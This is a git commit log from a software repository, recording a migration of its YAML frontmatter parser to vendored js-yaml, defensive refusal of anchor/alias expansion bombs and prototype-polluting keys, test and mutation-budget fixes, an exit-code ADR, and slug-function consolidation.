keep serialized output byte-stable (#1779 emitted lowercase); it keeps its
exported name and signature for its two other call sites (commands.cts,
runtime-artifact-conversion.cts), which need no change.

frontmatterDeepEqual, the comment channel, sliceTopLevelFrontmatterSegments,
regenerateFrontmatterKey's guard, noOpObjectListSetError and
parseMustHavesBlock are all unchanged — retiring them is fork (b) and is
not this phase.

Refs #3881

* fix(#3881): quote template placeholders and preserve unparseable frontmatter

SECURITY.md/UI-SPEC.md/VALIDATION.md wrote frontmatter placeholders as
bare {N}/{phase-slug}/{date}, which is valid YAML flow-mapping syntax
under the vendored js-yaml parser, not the literal placeholder text
intended. Quote them so they parse as strings.

Wire the FRONTMATTER_UNPARSEABLE Symbol (exported but unused) at the
8 call sites in state.cts/state-transition.cts that compute
hasFrontmatter via Object.keys(extractFrontmatter(...)).length > 0 and
reassemble the document without a frontmatter block when false. That
check conflated 'no frontmatter' with 'unparseable frontmatter' (both
parse to {}), so a document with a merge-conflict marker or refused
alias in its frontmatter had that block silently dropped on write.
Each site now preserves the exact raw bytes stripFrontmatter removed
when the marker is set, leaving the genuinely-empty case unchanged.

Refs #3881

* test(#3881): consequence and boundary coverage for the js-yaml migration

Rows: A1 emptyValuedKeySurvivesAWrite, A2 unparseableDocumentKeepsItsFrontmatterBlock, A3 unparseableIsDistinguishableFromEmpty, A4 nonScalarValuesCanonicalize, A5 truncationProbeStillFiresOnAnOpenFence, A6 commentsStayOnTheirOwnKey, A7 anchorsAndAliasesAreRefused, A8 aliasExpansionCannotExhaustMemory, F1 UNTERMINATED_KEY_THRESHOLD boundary, F2 alias/nesting refusal bound, F3 frontmatter size boundary (huge-bounded.md + larger). Adds tests/fixtures/adversarial/frontmatter/anchor-alias-bomb.md and its entry in the feat-3594 fixture matrix.

Refs #3881

* docs(#3881): document the vendored parser, correct a stale rationale, add a vendoring how-to

Refs #3881

* docs(#3881): correct the frontmatter glossary entry

Two errors in the entry as first written: it named parseYamlRegion as part of
the read path when that function is deleted, and it recorded the eight
hasFrontmatter call sites as unwired follow-on work when they were wired in
e35ac2a2c. Also records the scope caveat that the CLI write path rebuilds the
frontmatter block independently, so the marker binds at the transform layer.

Refs #3881

* docs(#3881): record the semantic-migration decision and the counted guard ledger

The maintainer chose the full semantic migration over splitting the rule into
its own epic or patching the scanner, so section 8.1 is answered as "the fork
was ill-posed and the migration is semantic" rather than as (a) or (b).

Also replaces the pre-implementation guess that this phase would shrink the
guard surface with the counted result: excluding vendored third-party lines the
hand-maintained surface is net +307, and frontmatter.cts grew by 68 lines
despite four functions being deleted, because the compatibility layer over
js-yaml is larger than the scanner it replaced. Section 8.1's stated benefit is
therefore not delivered as written; what improved is the kind of code
maintained, not the amount. Decision 6 requires recording that rather than
netting it away.

Refs #3881

* chore(#3881): changeset for the vendored YAML parser migration

Refs #3881

* test(#3881): golden parity, round-trip property and packaging coverage

Refs #3881

* fix(#3881): refuse anchors structurally and fold in review findings

ADR-3473 §8.1 review findings, addressed inline:

Finding 1 (BLOCKER): refuseAnchorsAndAliases was a raw-line regex that matched
only the bare-key spelling (key: &x). A quoted key ("a": &x), a flow mapping
({b: &x}) and a flow sequence ([&x, *x]) all define/use the SAME anchor
mechanics while never matching that line shape, so the exact expansion the
guard exists to stop went straight through unrefused (a 303-byte quoted-key
bomb expanded to ~35.8MB). Replaced with js-yaml's own `load` `listener`
callback, which reports `state.anchor` for every event belonging to an
anchored node in every spelling, and throws from inside the callback to abort
before any expansion (~1-2ms vs full expand-then-discard). A merge key with
an alias is still refused (merge always requires a previously anchored node,
so the alias itself trips the listener); a bare merge key with NO alias is no
longer separately refused, documented as intentional: FAILSAFE_SCHEMA never
resolves `!!merge`, so it carries no expansion risk. Table-driven tests added
for all four bypass spellings + merge key, plus a quoted-key-spelled
billion-laughs fixture registered in the adversarial matrix and README.

Finding 2: src/vendor/js-yaml.d.cts's docblock falsely claimed anchors/
aliases were "simply UNREACHABLE from typed code" through the twin. Corrected
to state the truth: anchor/alias resolution is document-level `load`
mechanics reachable through exactly the declared surface, and refusal is
enforced at RUNTIME (Finding 1's listener), not by the type surface.

Finding 3 (MAJOR): the null-byte sentinel (U+E000) round-trip was
non-injective — restoreNullBytesDeep rewrote every U+E000 in the parsed tree
back to NUL, including one the document author legitimately wrote, silently
corrupting it. Now refuses outright whenever the raw region already contains
U+E000 (consistent with the existing anchor/merge-key refusal path), making
the substitution provably injective. Tests added for a real NUL alone
(preserved), a pre-existing U+E000 alone (refused, not corrupted), and both
together (refused, not merged into one byte).

Finding 4 (MAJOR): scripts/lint-vendored-deps.cjs's `srcTwin` field was dead
for a hand-authored row (only read inside the upstream-verbatim branch) —
exactly how Finding 2's stale docblock drifted unnoticed. Added
checkHandAuthoredTwin: every value-level export the twin DECLARES must be an
actual own property of the vendored runtime module at require-time. Tests
added, including a sensor that a declared-but-nonexistent export IS caught.

Finding 5: the existingFm/hasFrontmatter/stripFrontmatter/fmPrefix/
unparseableFm/reassemble preamble, copy-pasted at 7 sites in
state-transition.cts plus a sixth hand-inlined copy in state.cts's
cmdStateCompletePhase, is now one exported helper
(beginFrontmatterReassembly) every site routes through, including the
hand-inlined one. Three call sites (beginPhaseCore, patchCore, updateCore)
keep a literal `body = stripFrontmatter(content)` assignment alongside the
helper call so scripts/lint-state-write-path-drift.cjs's single-hop backward
scan (which does not chase aliases) still sees the strip; stripFrontmatter is
pure/idempotent so the extra call changes nothing observable.

Finding 6: corrected the frontmatter.cts docblock's stale "wiring is a
separate change" claim (the 8 call sites are wired on this branch) and the
changeset's backlink from (#3473) to (#3881).

Finding 7: fixed the lint:ci failures blocking the gate — an
@typescript-eslint/only-throw-error violation from throwing a bare Symbol as
the anchor-detected signal (now a real Error subclass), unused-var warnings
left over from the Finding 5 refactor, a lint-test-file-count cap exceeded by
two migration-specific test files (allowlisted with justification), and the
lint-state-write-path-drift false positive from Finding 5's helper (fixed
above). tests/frontmatter-golden-parity.test.cjs:117's execFileSync already
carried an explicit timeout; no change was needed there.

Golden fixture: added a golden entry for the new
anchor-alias-bomb-quoted.md fixture ({} — matches what the legacy line
scanner would also produce, since it independently dropped every quoted
top-level key). No other corpus document diverges: real .planning/ documents
carry zero anchors/aliases/merge keys/U+E000 today.

Refs #3881

* fix(#3881): fold in second-round review findings

Finding 1 (BLOCKER): tests/frontmatter.test.cjs pinned the pre-migration
ASCII-only key regex for the Unicode fixture; updated to require the 相
key's value now that js-yaml has no such restriction. Audited the rest of
the file for other pre-migration pins (block scalars, quoted keys,
flattened values, empty values, duplicate keys, unclosed blocks, null
bytes) by execution against real fixtures; found none regressed.

Finding 2: parseYamlRegion and escapeDoubleQuoted renamed to
parseGuardedYamlRegion and escapeDoubleQuotedScalar in src/frontmatter.cts
so no function still answers to the deleted hand-rolled scanner's name
(ADR-3473 §8.1 "deleted, not patched"). escapeDoubleQuotedScalar's three
external call sites (src/commands.cts, src/runtime-artifact-conversion.cts)
updated in the same change — a mechanical rename, not an ADR-amendment
matter.

Finding 3 (BLOCKER): fixed a real crash and a silent data-loss bug found
by execution. A top-level key named constructor/__proto__/toString/
valueOf/hasOwnProperty crashed reconstructFrontmatter (bracket read
resolving an inherited Object.prototype member); a key literally named
__proto__ was silently DROPPED entirely (bracket assignment on an
ordinary {} invoked the inherited __proto__ setter instead of creating a
data property). Fixed by building every parsed Frontmatter object with
Object.create(null), and replacing an `in` check with hasOwnProperty.call
in propagateCommentChannel. Added round-trip tests for all five hostile
keys, each with its own leading comment.

Finding 4 (MAJOR): escapeDoubleQuotedScalar's docstring falsely claimed
full byte-stability across the migration. Verified by execution: BEL/NUL/
NEL/NBSP/LS/PS/BOM now emit YAML-named escapes instead of the old hex/raw-
literal forms. Proved round-trip equivalence (each escape re-parses to the
exact source codepoint) and corrected the docstring. Found and fixed a
related real defect while verifying: a lone UTF-16 surrogate was emitted
BARE (scalarNeedsDoubleQuoting didn't trigger), producing genuinely
unparseable YAML that silently collapsed to {} on re-read — extended
scalarNeedsDoubleQuoting to route surrogates through the quoted+escaped
path.

Finding 5 (MAJOR): countKeysBeforeTruncation went silent on 4 real
truncation shapes (unquoted colon, open flow collection, mis-indented
sibling key, refused anchor). Root cause: the mark-based prefix recovery
excluded the very line whose key needed counting, and a mark-less refusal
never entered the recovery branch at all. Fixed by taking the max of two
lower bounds: the longest parser-verified line-prefix, and a raw-text
count of key-shaped lines (reusing the same key-shape pattern this file
already uses for isFrontmatterShaped). Extended test-matrix row A5
table-driven over all 4 regressed shapes.

Finding 6: the design doc's claim that no test owned the #3594 adversarial
fixture corpus was false — consolidation epic #1969 had already folded it
into tests/frontmatter.test.cjs. An earlier commit on this branch
re-created a standalone duplicate under that false premise; folded its
genuinely-new coverage (fixture-ownership check, anchor-bomb fixtures,
block-scalar B1/B2 rows) into frontmatter.test.cjs and deleted the
duplicate file. Corrected the false claims in 40-design.md §3.3.1 and the
ADR's §8.1 note, including the roadmap-sibling claim (no such file exists).

Finding 7: the golden serializer sorted object keys, making it structurally
blind to the key-order-parity invariant ADR-3473 §8.1 actually claims.
Made it order-preserving and regenerated the golden fixture from a
standalone compile of the legacy (pre-#3881) parser at ddde001af; the
current parser matches it with zero undocumented divergences, confirming
key-order parity genuinely holds. Extended row A2 table-driven across 6 of
the remaining 7 transitionCore kinds (all pass) plus documented, by
execution, a newly-discovered 8th-site regression: state.cts's
cmdStateCompletePhase calls the same preservation helper but its result is
clobbered by a later unconditional resync — filed as a distinct finding
rather than fixed here (touches syncAndPreserveStateMd, outside this
change's verified scope).

Refs #3881

* fix(#3881): preserve unparseable frontmatter through the CLI write path

Characterization (executed, before/after shown): case (b), not (a). The
frontmatter FENCE survives — `state complete-phase` on a conflict-marked
STATE.md returns success and a well-formed, freshly-derived frontmatter
block, not a document with no frontmatter at all. But the block's actual
content (the merge-conflict markers, and with them any signal to a human
that the document was in conflict) is silently discarded and replaced.

Root cause was two clobber sites, not one:

1. syncStateFrontmatter (src/state.cts) re-parses the already-preserved
   `transformedContent` from readModifyWriteStateMd, finds {} + the
   FRONTMATTER_UNPARSEABLE marker, and unconditionally rebuilt a fresh
   frontmatter block from the body anyway.
2. Even after (1) is fixed, applyPostSyncPreservation's own
   postFm/applyStatePreservation/authoritativeFm-reassertion machinery
   re-extracts frontmatter from syncedContent, restores curated fields
   from the pre-write snapshot, and reconstructs a NEW block again —
   confirmed live via `state begin-phase`, which still lost the markers
   after fixing (1) alone.

Both are now guarded by the same predicate (isUnparseableFrontmatter,
checking FRONTMATTER_UNPARSEABLE): when the ORIGINAL frontmatter did not
parse and the caller is not on ADR-3408 §8.3's closed "body wins" list,
both functions return their input content unchanged rather than
re-deriving over it. The closed list (cmdStateSync #905,
/gsd-health --repair's REGENERATE_STATE, both routed only through
writeStateMd, which never reaches applyPostSyncPreservation and passes
sanctionedPermanentEmptyFallback=true to syncStateFrontmatter) is
untouched — neither widened nor narrowed; verified by execution that
`state sync` still overwrites the conflict-marked block exactly as before.

Other verbs sharing the same readModifyWriteStateMd path were checked and
were equally affected before this fix: state update, query state.patch,
and state begin-phase all lost the conflict markers (RED, shown by
execution), and all three now preserve them (GREEN). Covered table-driven
in tests/feat-3881-yaml-parser-consequences.test.cjs's new A2b describe
block, which drives the real CLI verbs via runGsdTools — not just the pure
transitionCore layer the earlier A2 rows exercised — plus a control
asserting state sync's body-wins contract is unchanged.

Refs #3881

* fix(#3881): restore the parse surface's prototype and fix remote-runner failures

Root cause of the bulk of the 88 remote-runner failures: extractFrontmatter/parseGuardedYamlRegion handed back Object.create(null) trees for prototype-pollution safety, but assert.deepStrictEqual compares prototypes, so every assertion against a plain object literal failed (57 frontmatter.unit.test.cjs + 5 frontmatter.test.cjs + others). Fixed by keeping the internal construction null-prototype (unchanged) and converting to a plain-prototype tree via Object.defineProperty (never bracket assignment, so __proto__/constructor/toString keys stay safe) at the parseGuardedYamlRegion/unparseableResult return boundary only; the internal FULL_LINE_COMMENTS Symbol channel is copied by reference, not recursed, so its own __proto__-safety is untouched.

Per-class fixes: (1) bomAcrossArtifactTypes was the same prototype bug, no separate code change needed. (2) frontmatter-cli #1660: added objectListFieldWouldLoseData, a broader lossy-field detector alongside the existing byte-identical noOpObjectListSetError -- js-yaml's flattenObjectListItem now correctly includes every sub-key of an object-list item (a real bug fix over the legacy scanner, which silently dropped every field but the first), so a set that drops that now-included data is no longer byte-identical to the original and needs its own guard. (3) uat.test.cjs: updated the pinned expectation for the human_verification quote-stripping artifact -- js-yaml resolves quoting correctly where the legacy regex left an unbalanced quote; documented as an intentional, non-lossy behavior change. (4) smart-entry: added a fallback-only loadWithAmbiguousColonRepair so a column-0 key: value line whose value itself contains an unquoted colon (the #2571 hand-edited-STATE.md shape) round-trips instead of failing the whole frontmatter block closed. (5) frontmatter.unit.test.cjs bracket-array leniency: added a second fallback, repairMalformedInlineArrays, restoring the legacy scanner's tolerant inline-array handling (consecutive/blank commas, unclosed bracket) -- both repairs run ONLY after the primary parse already threw, so well-formed documents are unaffected. (6) prompt-injection-scan: src/frontmatter.cts had a literal U+FEFF BOM embedded in a comment illustrating the #2977 fix; replaced with the U+FEFF text escape. (7) eslint-glob-coverage: allowlisted the new src/vendor/js-yaml.d.cts vendored type declaration, same precedent as the existing re2js.d.cts entry. (8) frontmatter-golden-parity: git ls-files *.md now runs with -c safe.directory=* (process-scoped) so it survives the remote runner's dubious-ownership check without a persistent git config write.

Refs #3881

* chore(#3881): backfill changeset PR number

Refs #3881

* test(#3881): make golden parity resistant to unrelated tree churn

A corpus-wide snapshot keyed to every tracked *.md file was coupled to mutable-by-design files: .changeset/*.md's pr:0 -> real-PR-number backfill is a required workflow step, not a parser change, yet it turned this suite red. Training people to 'just regenerate the golden' on that kind of failure defeats the point of the snapshot. Exclude .changeset/** from the golden corpus entirely, tolerate tracked *.md files with no golden entry (they postdate the capture) instead of failing on them, keep hard failures for a golden entry whose file has vanished from the tree and for any real parity divergence, and add a coverage floor so the enumeration cannot quietly degrade to comparing a handful of files. Golden regenerated by recompiling the legacy pre-migration parser (git show ddde001af:src/frontmatter.cts) standalone, independent of the current parser, over the same non-changeset corpus.

Refs #3881

* test(#3881): make the parser golden hermetic instead of tree-keyed

This repo merges ~21 commits/day; a 14-day sample measured 937 touches of the
exact files (commands/gsd/*.md, gsd-core/workflows/*.md, agents/*.md,
docs/*.md) the prior golden pinned by tracked path. Any PR editing one of
those files' frontmatter for reasons unrelated to the parser (an
argument-hint addition, an allowed-tools tweak) turned the suite red, and the
reflex fix -- "regenerate the golden" -- overwrote the very snapshot meant to
catch a real regression. Excluding .changeset/** was not enough; the design
itself was wrong: a regression fixture must not be keyed to mutable repo
paths, and a single 376-entry JSON every such PR touches is also a
guaranteed merge-conflict surface.

Rebuilt the fixture to carry its own documents: each of 51 entries stores a
stable id, literal documentText (shrunk from a real ddde001af-era corpus
document), and an expectedParse captured independently from the
pre-migration legacy parser (git show ddde001af:src/frontmatter.cts,
compiled standalone against its byte-identical sibling modules). The test
reads no tracked path, shells out to no git command, and enumerates no tree
-- a PR editing commands/gsd/help.md cannot affect it. Every entry's
reconstruction was verified at capture time to reproduce both the current
and legacy parser's output on the original document; 0 of 51 candidates
were dropped by that check (1, the deliberately-unterminated
unclosed-block.md adversarial fixture, has no closing fence to truncate at
and is stored unshrunk). Kept the 5 documented DIVERGENCES rows (now
diverges:true entries) and the D2 order-preserving structural serializer
that keeps the comparison from passing vacuously; dropped the
tree-enumeration helpers, the coverage floor, the post-capture-skip logic,
and the vanished-file check -- all artifacts of the path-keyed design.

Refs #3881

* fix(#3881): resolve vendored-deps paths independently of cwd shape

Five rows in tests/lint-vendored-deps-manifest.test.cjs failed on
windows-latest CI: the test passed absolute scratch-file paths into
compareFiles()/checkRow(), whose helpers joined every input onto ROOT
via path.join(ROOT, rel), producing garbage when the input was already
absolute. It surfaced on windows-latest specifically because GitHub's
Windows runners checkout the repo on a different drive than TEMP, so
path.relative(REPO_ROOT, tmpFile) returned the absolute path unchanged
(no relative traversal is representable across drives) rather than the
relative form the test assumed. The remote gsd-test runner this repo
gates pushes on is Linux-only and could never have caught this;
GitHub CI's windows-latest job is the only signal that does, and it did.

Fixed the helper itself (scripts/lint-vendored-deps.cjs's new
resolvePath()) to treat an already-absolute input as absolute-in,
absolute-out instead of silently mis-joining it, and updated the test
to pass the scratch file's absolute path directly rather than relying
on a relative conversion that is not always representable. Kept every
mutation-sensor assertion intact and added coverage proving
resolvePath is a no-op for relative inputs and correctly passes
absolute ones through unchanged.

Refs #3881

* fix(#3881): warn when state sync regenerates over unparseable frontmatter

state sync (ADR-3408 §8.3's sanctioned regenerate path) correctly
overwrites an unparseable frontmatter block per its 'body wins'
contract — that overwrite behavior is unchanged here. The defect was
the silence: synced:true/exit 0 gave no signal that the existing
block (including git merge-conflict markers) could not be parsed and
was destroyed, per ADR-3473 §8.5 ('a derived conclusion may not be
reported as authoritative when the derivation dropped input it could
not resolve') and §8.4 ('failure is a value').

Adds a gsd: warning — ... (#3881) line on stderr, matching the
existing #3573 precedent, and surfaces the same disclosure in the
JSON result's existing changes[] array so a machine consumer sees it
too. Exit code and synced:true are left unchanged — sync did what its
contract says.

REGENERATE_STATE (/gsd-health --repair's sibling on the same
sanctioned-regenerate list) is DESTRUCTIVE-risk and unconditionally
refused by applyRepairs's dispatcher before runRepairAction ever runs
(src/health-diagnostic.cts), so it is not a live path today and is not
in scope for this fix.

Refs #3881

* fix(#3881): exit non-zero when a state command returns an error

Refs #3881

* chore(#3881): changeset for the state exit-code fix

Refs #3881

* fix(#3881): honor the documented --project-dir flag

Refs #3881

* revert(#3881): restore exit-0 result envelopes for state errors

Reverts 9638f2936 and its changeset. The change was wrong and the revert is
the correction.

This repo distinguishes two error mechanisms deliberately. error() in
src/io.cts writes to stderr and calls process.exit(1) -- the hard-failure
path. output({error: ...}) writes a JSON result envelope to stdout and returns
normally with exit 0. The reverted commit converted 23 result-envelope sites
into hard failures, which is a different contract, not a bug fix.

tests/state-contract.test.cjs's errorPathDoesNotPublish asserts the envelope
contract directly -- a failing command exits 0 with a JSON error envelope and
must not publish state.json -- and the remote matrix run caught it along with
four cases in the QA scenario walk. Thirteen tests in tests/state.test.cjs that
the original commit rewrote were encoding that real contract, not the bug it
claimed; they are restored.

Whether an error envelope on stdout with exit 0 is the right CLI design is a
genuine question, and it is section 8.4's rule ('failure is a value') with its
own phase. It is not something to flip inside this PR.

Refs #3881

* chore(#3881): backfill changeset PR number for the project-dir fix

Refs #3881

* test(#3881): keep the frontmatter mutation shard inside its time budget

The Stryker (frontmatter) shard hit the documented 15-minute (900s) shard
cap. Root cause is NOT row-level spawn overhead (contrast the #2790/
core-utils precedent): the three shard test files' own logic runs in
~413ms total (356+30+27ms) with all 392 assertions passing. Instead,
src/frontmatter.cts grew from ~825 to 1496 lines (+671/-187) migrating to
the vendored YAML parser, proportionally growing the mutant count Stryker
generates for gsd-core/bin/lib/frontmatter.cjs. Stryker's command runner
bills the full 'node --test <3 files>' invocation once per mutant, and
node:test's default per-file process isolation forks a child process for
each of the three files on every one of those invocations — pure fork
overhead multiplied by a much larger mutant population.

Fix: scripts/mutation-matrix.cjs COVERED.frontmatter now declares
isolation: 'none', and .github/workflows/mutation.yml passes
--test-isolation=${{ matrix.isolation }} (defaulting to 'process' — i.e.
unchanged behavior — for the other 8 shards, which were not individually
audited for cross-file state leakage under shared-process execution).
Measured locally via node:test's run() API on the exact 3-file set:
isolation:'process' took ~593ms vs isolation:'none' ~478ms for the same
392 passing assertions. The true CI-shard number can only be confirmed
on the GitHub Actions run (Stryker cannot run locally, and 'node --test'
is hard-blocked in this environment).

Refs #3881

* test(#3881): register the vendored-parser tests in the frontmatter mutation shard

stryker.config.mjs's own rule ("Keep this list in sync with the tests
arrays in scripts/mutation-matrix.cjs COVERED") was violated: #3881 grew
src/frontmatter.cts from ~825 to 1496 lines but its new tests
(tests/feat-3881-yaml-parser-consequences.test.cjs,
tests/frontmatter-golden-parity.test.cjs,
tests/frontmatter-roundtrip.property.test.cjs, and +167 lines in
tests/frontmatter.test.cjs) were never added to the frontmatter shard's
tests array, so Stryker's mutants in the new vendored-js-yaml adapter had
nothing constraining them. PR #3888 measured 55.8% against the 65 floor
(748 killed / 593 survived / 17 timeout) and the shard was separately
cancelled at 15m04s against the 15-minute per-shard cap.

Registers all four files (each earns its slot on evidence of a unique
constraining assertion, documented inline), gives the shard a
measured/projected 180-minute budget via a new per-module
timeoutMinutes field threaded through mutation.yml's job-level
timeout-minutes the same way isolation is threaded, and removes the
prior isolation:'none' override (re-measured at this file-set size, its
savings are within run-to-run noise, not worth the unaudited
cross-file-state-leakage risk).

Refs #3881

* feat(#3881): derive the mutation test list and ratchet the score floor

Refs #3881

* test(#3881): ratchet five stale mutation floors and close the frontmatter gap

Raised five module minScore floors per CI run 33012034388 (floor(achieved)-1):
config-schema 75.51%->74, prompt-budget 88.95%->87, context-composer 79.92%->78,
context-utilization 92.31%->91, active-workstream-store 87.42%->86. Updated both
scripts/mutation-matrix.cjs COVERED entries and tests/mutation-matrix-ratchet.test.cjs
RATCHET_BASELINE in the same diff per the ratchet's own contract.

Closed the frontmatter shard's 63.03%-vs-65 gap with new behavioral tests in
tests/feat-3881-yaml-parser-consequences.test.cjs, each paired with a documented
near-miss: frontmatterDeepEqual's array-order/length/type-mismatch/key-order
semantics (via spliceFrontmatter's no-op guard), scalarNeedsDoubleQuoting's
leading/trailing-whitespace and dash/surrogate triggers (via reconstructFrontmatter),
repairAmbiguousColonValues' already-quoted vs ambiguous-colon repair paths (via
extractFrontmatter), and the null-byte sentinel round-trip surviving at region
offset 1. Did not lower minScore.

Refs #3881

* test(#3881): decouple the ratchet test from real module floors

The CLI end-to-end rows in tests/mutation-score-ratchet.test.cjs hardcoded config-schema's real floor (52), which commit 973321541 legitimately ratcheted to 74 -- breaking a test pinned to the exact value the mechanism under test exists to change. Add an injectable --matrix seam to scripts/check-mutation-score-ratchet.cjs and point the CLI rows at a synthetic module + synthetic floor built via a temp fixture, so the rows are indifferent to any real module's floor moving while still exercising the same fail/pass behaviour.

Refs #3881

* refactor(#3881): parse must_haves with the vendored parser and drop re-implemented leniency

Refs #3881

* fix(#3881): restore the ambiguous-colon repair its hand-edited-STATE.md contract needs

A tracked-document sweep of 910 *.md files cannot see this dependent: repairAmbiguousColonValues's one real caller is user hand-edited STATE.md content that never lives in this repo's tree, only on end users' machines, and is pinned by tests/smart-entry.unit.test.cjs. Restores the function plus its post-throw fallback path (loadWithAmbiguousColonRepair) only; repairMalformedInlineArrays and splitLegacyInlineArrayItems stay deleted, reverified against the full frontmatter test shard. Adds a frontmatter-level regression row in tests/feat-3881-yaml-parser-consequences.test.cjs so the dependency is visible where the function lives.

Closes #2571
Refs #3881

---------

Co-authored-by: sim <sim@local>
2026-08-26 19:29:32 -04:00
Tom Boucher
c1f755d75d docs(#3889): ADR-3889 — the process-exit contract, nothing fails with success (#3890)
* docs(#3889): ADR-3889 — the process-exit contract

Records the decision for epic #3889: one Outcome vocabulary, one pure
projection to an integer, two terminators sharing both.

Doc-only. Regenerates docs/adr/README.md via gen-adr-index.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#3889): rewrite ADR-3889 as an exit-code registry, on measured evidence

The first draft's census was grep-derived and roughly 2x inflated: it counted
comment prose and also matched process.exitCode, the correct pattern. An AST
census (@typescript-eslint/parser, CallExpression on process.exit) gives 128
deduped call sites, 71% of them in hooks/, against 88 process.exitCode
assignments already in use. scripts/ is effectively migrated (39:1).

Corrects the framing accordingly: the seam (src/cli-exit.cts) already exists
and is already adopted; what is missing is an allocator and a hooks adapter.

Replaces the fixed six-value enum with a registry: 0 and 1 free, 2 reserved to
the Claude Code hook protocol, 3-13 forbidden (Node reserves them), 64+
allocated with one meaning and one owner per code. Domain codes permitted.

Adds three findings obtained by reading and executing the code:
- ui-safety-gate/api-coverage report empty stdin as an authoritative negative
  verdict (exit 1) — reproduced with a control
- four modules hand-roll the same three-outcome convention, documented only in
  a comment at src/ui-safety-gate.cts:137
- two capability fragments fabricate {"detected":false} on probe failure, while
  the honest {"skipped":true,"reason":"sdk-failed"} form already exists in-tree

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 16:53:38 -04:00
Tom Boucher
389bc86e02 enhance(#3883): route every slug call site through its canonical owner (#3896)
* docs(#3883): correct section 8.3 against the tree

I wrote this section in Phase 0 stating rules I had not executed against the
tree. Measured at 832dcbb75, three statements are wrong.

The slug count is 11 across 5 files, not 13; two of the thirteen were an
unrelated tokenizer regex. The divergence is real and reproduced.

resolveRuntime reads no install marker at all and has no cache; PR #3382,
cited as prior art for that rung, is closed unmerged.

The Codex sandbox is still a hand-maintained subset map with a silent
read-only fallback, and validate agents checks file presence only -- both
halves of that claim are false.

The shortFormToId rule is accurate. The guard roster names no casualty for
this rule.

Section 8.3 is therefore a work list, not a conformance check.

Refs #3883

* test(#3883): failing-first rows for slug re-implementation divergence

Refs #3883

* feat(#3883): route every slug call site through its canonical owner

Migrated commands.cts:209, init.cts:176/1935/1957/3109, phase-id.cts:229/380, phase-locator.cts:269, workstream-name-policy.cts:75 to generateSlugInternal (core-utils.cts:107).

Declared different: gsd2-import.cts:97 (no truncation), active-workstream-store.cts:97 (fixed ASCII env-key domain, already matches).

Fixed a latent circular-require bug: core-utils.cts top-level destructured comparePhaseNum/scopeToPhase from phase-id.cjs; switched both sides of the new circular require to lazy function-body requires.

Refs #3883

* fix(#3883): restore per-site truncation contracts broken by the slug consolidation

Refs #3883

* fix(#3883): close review findings — changeset, miscounts, loose rows, cyclic destructure

Refs #3883

* docs(#3883): correct the same slug miscount in the Context table

Section 8.3's rule text was corrected to 11 copies across 7 files; the Context
table above it still carried the original 13 across 5. Same wrong claim, second
location, both mine.

Refs #3883

* chore(#3883): backfill changeset PR number

Refs #3883

* test(#3883): keep the core-utils mutation shard inside its time budget

PR #3896's Stryker (core-utils) shard was cancelled at the 15-minute
shard cap. Stryker's command-runner bills one `node --test <file>`
invocation as a single unit costing whatever the file's slowest run
costs, re-run once per mutant (documented in
tests/state-contract.test.cjs's header, #2790 precedent). A3/A5 drove
every CLI-reachable slug site through runGsdTools (a real child-process
spawn per call, ~85-170ms each across ~70 calls), accounting for ~7.1s
of the file's ~7.9s wall time.

commands.cts:cmdGenerateSlug and init.cts:cmdInitExecutePhase/
cmdInitPhaseOp/cmdInitProgress are plain functions reachable in-process
from the built gsd-core/bin/lib/*.cjs, so this calls them directly
instead of spawning gsd-tools, capturing their fd-1 JSON output with the
bug #1008 fs.writeSync-mock pattern already used in tests/io.test.cjs
and tests/init.test.cjs. A hermetic-env helper reproduces the isolation
runGsdTools's { HOME: tmpDir } + testEnvBase() gave the child process.

File wall time drops from ~7.97s to ~1.1s (246/246 passing, same
coverage), well inside the 15-minute cap even at hundreds of mutants.

Refs #3883

---------

Co-authored-by: sim <sim@local>
2026-08-26 16:03:11 -04:00
Tom Boucher
ddde001af6 enhance(#3873): the STATE.md schema — one owner, generated artifacts (#3880)
* test(#3873): failing-first locale parity, plus tripwires for what must not move

Pins ADR-3473 §8.8 at the artifact a reader actually sees. The English STATE.md
reference carries a Status lifecycle section that is missing from all four
translations — the section documenting the status enum whose clobbering is
#3853. The test derives the heading set rather than hard-coding the missing
one, and names the locale and the heading when it fails.

Two tripwires that must pass today and after. The field-drift guard still
catches a re-derived fallback ladder: §8.8 instructs deleting that script, and
that instruction rests on a wrong premise about what it guards, so the test
stops a future reader from deleting it on the ADR's word. And last_activity's
label resolution is pinned to what ships today, because it is declared in one
of the two tables this phase consolidates and not the other — the
consolidation must not silently pick a side.

The locale test buckets under docs rather than state, which is what it tests;
that bucket is allowlisted with justification rather than folded into an
unrelated docs suite. It reads only markdown, so it carries no allow-test-rule
marker — a marker there would suppress nothing and would grow the unverified
pool against its ceiling.

Refs #3873

* feat(#3873): one schema owns the STATE.md key set, three tables become projections

ADR-3473 §8.8. The key set was declared in four places that had to agree by
hand and already did not: FIELD_CLASSIFICATION, FRONTMATTER_BODY_SOURCE,
FRONTMATTER_KEY_TO_BODY_LABEL and buildStateFrontmatter's emit behavior. One
frozen null-prototype schema now declares each key's type, enum, cardinality,
source, preservation, body source, body label, accepted parse shapes and
whether it is emitted unconditionally; the three tables are derived from it at
module load.

The projections are byte-identical to the literals they replace, key order
included, and the parity tests compare against verbatim copies of today's
tables rather than re-deriving both sides from the schema — a parity test fed
from one source proves nothing, which is how a consolidation ships a changed
policy under a green test.

last_activity was the live disagreement: present in one table, absent from the
other. The schema declares what ships today rather than the tidier answer, and
a test pins it.

The schema is a leaf module and owns the four field-policy types, re-exported
from state-transition so existing importers are untouched — the same split
health-diagnostic-types made to break a CJS require cycle.

Refs #3873

* feat(#3873): generate the schema-derived regions, parity-check the prose tables

ADR-3473 §8.8's generator half. gen-state-md-docs.cjs owns marked regions in
the shipped template and all five reference docs, follows gen-features.cjs's
fail-closed contract, and is wired into regen:derived and lint:generated-sync.

The Status lifecycle section was missing from all four translations — the
section documenting the status enum behind #3853 — and is now generated into
every locale. Field cardinality is a new generated table: pure schema data,
no prose, so nothing to lose.

The Field-reference and Status-values tables are parity-CHECKED rather than
generated. Their Purpose, When-populated and Matched-text columns are
genuinely hand-translated per locale, and §8.8 itself says prose stays
hand-translated; generating them from an English registry would overwrite four
locales' translations on every write. The row set is checked against the schema
instead, so a key added to one and not the other fails, which is what field
drift actually means. Building that check found last_activity_desc
undocumented in all five tables.

Three keys the docs describe are absent from the schema — active_phase,
next_action, next_phases. They are grandfathered by name, not by wildcard, so a
fourth fails: a declared gap with a forcing function rather than a silent one.

Refs #3873

